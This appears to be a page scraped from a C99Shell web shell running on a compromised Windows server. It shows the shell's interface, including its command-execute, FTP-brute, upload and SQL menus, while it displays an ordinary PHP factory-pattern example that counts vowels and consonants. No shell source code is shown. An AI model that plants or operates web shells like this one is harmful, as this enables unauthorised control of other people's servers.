!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\Xcode\DesignPatterns\   drwxrwxrwx
Free 4.97 GB of 239.26 GB (2.08%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     1.php (2.41 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* Class for Analyzing Text
*/
class TextStats {
    
/**
    * The document to analyze
    */
    
var $doc;
    
/**
    * An array of Vowel and Consonant objects
    */
    
var $chars = array();

    function 
TextStats($doc) {
        
$this->doc $doc;
        
$this->buildStats();
    }

    
/**
    * Calls a factory method to get a Vowel or Consonant
    */
    
function buildStats() {
        
$length strlen($this->doc);
        for (
$i=0;$i<$length;$i++) {
            
// Factory method called here
            
if ( $char = & CharFactory::getChar($this->doc[$i]) ) {
                
$this->chars[]=$char;
            }
        }
    }

    
/**
    * Find out how many Vowels in document
    */
    
function numVowels() {
        
$vowels 0;
        
reset ($this->chars);
        foreach ( 
$this->chars as $char ) {
            if ( 
is_a($char,'Vowel') )
                
$vowels++;
        }
        return 
$vowels;
    }

    
/**
    * Find out how many Consonants in document
    */
    
function numConsonants() {
        
$consonants 0;
        
reset ($this->chars);
        foreach ( 
$this->chars as $char ) {
            if ( 
is_a($char,'Consonant') )
                
$consonants++;
        }
        return 
$consonants;
    }
}

/**
* Factory for creating Vowel and Consonant objects
*/
class CharFactory {
    
/**
    * The factory method
    */
    
function & getChar($byte) {
        if ( 
preg_match('/[a-zA-Z]/',$byte ) ) {
            
$vowels = array('a','e','i','o','u');
            if ( 
in_array(strtolower($byte),$vowels) ) {
                
$char = & new Vowel($byte);
            } else {
                
$char = & new Consonant($byte);
            }
            return 
$char;
        }
    }
}

/**
* Class representing a Vowel
*/
class Vowel {
    var 
$letter;
    function 
Vowel($letter) {
        
$this->letter $letter;
    }
}

/**
* Class representing a Consonant
*/
class Consonant {
    var 
$letter;
    function 
Consonant($letter) {
        
$this->letter $letter;
    }
}

// Get some document
$doc file_get_contents('http://www.sitepoint.com');

// Remove HTML tags
$doc strip_tags($doc);

// Create a TextStats object
$ts = new TextStats($doc);
?>
Today at http://www.sitepoint.com there are 
<?php echo ( $ts->numConsonants() ); ?> consonants and
<?php echo ( $ts->numVowels() ); ?> vowels. Amazing huh?

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--